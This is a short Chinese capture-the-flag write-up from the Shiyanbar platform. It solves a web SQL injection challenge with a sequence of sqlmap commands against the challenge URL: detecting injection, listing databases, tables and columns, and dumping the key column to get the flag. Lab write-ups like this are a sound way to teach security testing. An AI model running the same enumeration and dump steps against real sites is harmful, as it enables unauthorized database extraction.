实验吧web

题目:

很明显。过年过节不送礼,送礼就送这个

格式:

解题链接: http://ctf5.shiyanbar.com/8/index.php?id=1

首先用sqlmap判断是否存在sql注入

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1"

实验吧web_第1张图片

然后爆出其数据库名称

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1"  --dbs

实验吧web_第2张图片

爆出其表

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

实验吧web_第3张图片

爆出字段

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns

实验吧web_第4张图片

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump
实验吧web_第5张图片

得到flage

你可能感兴趣的:(web安全)